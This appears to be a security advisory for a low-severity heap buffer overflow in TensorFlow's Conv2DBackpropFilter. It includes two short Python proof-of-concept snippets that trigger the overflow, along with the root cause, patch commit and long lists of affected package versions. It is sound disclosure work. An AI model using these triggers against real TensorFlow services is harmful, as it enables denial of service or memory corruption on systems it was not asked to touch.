GHSA-xgc3-m89p-vr3x

Suggest an improvement
Source
https://github.com/advisories/GHSA-xgc3-m89p-vr3x
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-xgc3-m89p-vr3x/GHSA-xgc3-m89p-vr3x.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-xgc3-m89p-vr3x
Aliases
Published
2021-05-21T14:23:09Z
Modified
2024-10-30T23:41:10.316796Z
Severity
  • 2.5 (Low) CVSS_V3 - CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L CVSS Calculator
  • 2.0 (Low) CVSS_V4 - CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N CVSS Calculator
Summary
Heap buffer overflow in `Conv2DBackpropFilter`
Details

Impact

An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter:

import tensorflow as tf

input_tensor = tf.constant([386.078431372549, 386.07843139643234],
                           shape=[1, 1, 1, 2], dtype=tf.float32)
filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1],
                           dtype=tf.float32)

tf.raw_ops.Conv2DBackpropFilter(
  input=input_tensor,
  filter_sizes=filter_sizes,
  out_backprop=out_backprop,
  strides=[1, 66, 49, 1],
  use_cudnn_on_gpu=True,
  padding='VALID',
  explicit_paddings=[],
  data_format='NHWC',
  dilations=[1, 1, 1, 1]
)

Alternatively, passing empty tensors also results in similar behavior:

import tensorflow as tf

input_tensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32)
filter_sizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32)

tf.raw_ops.Conv2DBackpropFilter(
  input=input_tensor,
  filter_sizes=filter_sizes, 
  out_backprop=out_backprop,
  strides=[1, 66, 49, 1], 
  use_cudnn_on_gpu=True,
  padding='VALID',
  explicit_paddings=[],
  data_format='NHWC',
  dilations=[1, 1, 1, 1]
)

This is because the implementation computes the size of the filter tensor but does not validate that it matches the number of elements in filter_sizes. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor.

Patches

We have patched the issue in GitHub commit c570e2ecfc822941335ad48f6e10df4e21f11c96.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Database specific
{
    "nvd_published_at": "2021-05-14T20:15:00Z",
    "cwe_ids": [
        "CWE-120",
        "CWE-787"
    ],
    "severity": "LOW",
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-18T22:05:40Z"
}
References

Affected packages

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.1.4

Affected versions

0.*

0.12.0
0.12.1

1.*

1.0.0
1.0.1
1.1.0
1.2.0
1.2.1
1.3.0
1.4.0
1.4.1
1.5.0
1.5.1
1.6.0
1.7.0
1.7.1
1.8.0
1.9.0
1.10.0
1.10.1
1.11.0
1.12.0
1.12.2
1.12.3
1.13.1
1.13.2
1.14.0
1.15.0
1.15.2
1.15.3
1.15.4
1.15.5

2.*

2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.1.0
2.1.1
2.1.2
2.1.3

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.2.0
Fixed
2.2.3

Affected versions

2.*

2.2.0
2.2.1
2.2.2

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.3.0
Fixed
2.3.3

Affected versions

2.*

2.3.0
2.3.1
2.3.2

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.4.0
Fixed
2.4.2

Affected versions

2.*

2.4.0
2.4.1

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.1.4

Affected versions

1.*

1.15.0

2.*

2.1.0
2.1.1
2.1.2
2.1.3

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.2.0
Fixed
2.2.3

Affected versions

2.*

2.2.0
2.2.1
2.2.2

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.3.0
Fixed
2.3.3

Affected versions

2.*

2.3.0
2.3.1
2.3.2

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.4.0
Fixed
2.4.2

Affected versions

2.*

2.4.0
2.4.1

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.1.4

Affected versions

0.*

0.12.0
0.12.1

1.*

1.0.0
1.0.1
1.1.0
1.2.0
1.2.1
1.3.0
1.4.0
1.4.1
1.5.0
1.5.1
1.6.0
1.7.0
1.7.1
1.8.0
1.9.0
1.10.0
1.10.1
1.11.0
1.12.0
1.12.2
1.12.3
1.13.1
1.13.2
1.14.0
1.15.0
1.15.2
1.15.3
1.15.4
1.15.5

2.*

2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.1.0
2.1.1
2.1.2
2.1.3

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.2.0
Fixed
2.2.3

Affected versions

2.*

2.2.0
2.2.1
2.2.2

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.3.0
Fixed
2.3.3

Affected versions

2.*

2.3.0
2.3.1
2.3.2

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.4.0
Fixed
2.4.2

Affected versions

2.*

2.4.0
2.4.1